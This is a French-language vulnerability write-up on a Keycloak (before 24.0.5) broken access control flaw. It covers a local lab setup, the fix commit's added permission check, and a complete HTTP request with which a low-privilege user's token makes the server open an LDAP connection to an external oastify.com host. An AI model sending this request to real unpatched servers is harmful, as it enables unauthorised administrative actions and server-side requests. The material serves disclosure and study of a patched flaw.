
L'API d'administration de Keycloak permet aux utilisateurs à faibles privilèges d'utiliser des fonctions administratives.
Keycloak < 24.0.5 est vulnérable à une faille de Contrôle d'accès défaillant, où un attaquant peut utiliser n’importe quel utilisateur authentifié pour effectuer certaines actions API telles que :
Tester les connexions LDAP via le point de terminaison testLDAPConnection. Récupérer les attributs non gérés d’un utilisateur via le point de terminaison getUnmanagedAttributes. Accéder aux fournisseurs de politique d’enregistrement client via le point de terminaison getProviders.
Je n’ai trouvé intéressant que testLDAPConnection, où un attaquant peut interagir avec LDAP vers un hôte externe.
Téléchargez d’abord la version vulnérable de KeyCloak 24.0.4 depuis ici https://www.keycloak.org/archive/downloads-24.0.4.html
Extrayez ensuite le fichier Zip et exécutez la commande bin/kc.sh start-dev

Maintenant, il s’exécutera sur localhost:8080. Créez un nouveau compte administrateur, puis connectez-vous avec ce compte administrateur.
Créez maintenant un nouveau Realm pour les utilisateurs normaux, puis créez un utilisateur avec les privilèges d’utilisateur dans ce realm.

D’après le commit qui corrige la vulnérabilité « Ajout de vérifications d’authentification manquantes dans certains points de terminaison admin » https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
nous constatons que 3 fichiers ont été modifiés :
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
Analyse du changement de code dans TestLdapConnectionResource.java :
(Code vulnérable) :
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Gestion des exceptions...
}
Il n’y avait aucune vérification des permissions. Tout utilisateur authentifié pouvait appeler testLDAPConnection et effectuer des tests LDAP, ce qui relève d’une action administrative.
(Code corrigé) :
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Vérification des permissions ajoutée
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Gestion des exceptions...
}

La ligne auth.realm().requireManageRealm(); a été ajoutée pour vérifier si l’utilisateur possède les permissions d’administration (rôle manage_realm) dans le realm.
Cela signifie que n’importe quel utilisateur d’un realm quelconque peut envoyer une requête vers /admin/realms/users/testLDAPConnection.
Maintenant, dans un nouveau navigateur, ouvrez le lien http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Connectez-vous avec l’utilisateur que vous avez créé, puis récupérez le authorization: Bearer <>
Envoyez une requête HTTP vers le point de terminaison vulnérable :
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
Dans le paramètre connectionUrl, mettez votre hôte externe et envoyez la requête.
Vous recevrez alors l’interaction DNS.

Vous pouvez appliquer la même chose avec getUnmanagedAttributes et getProviders.
référence : https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc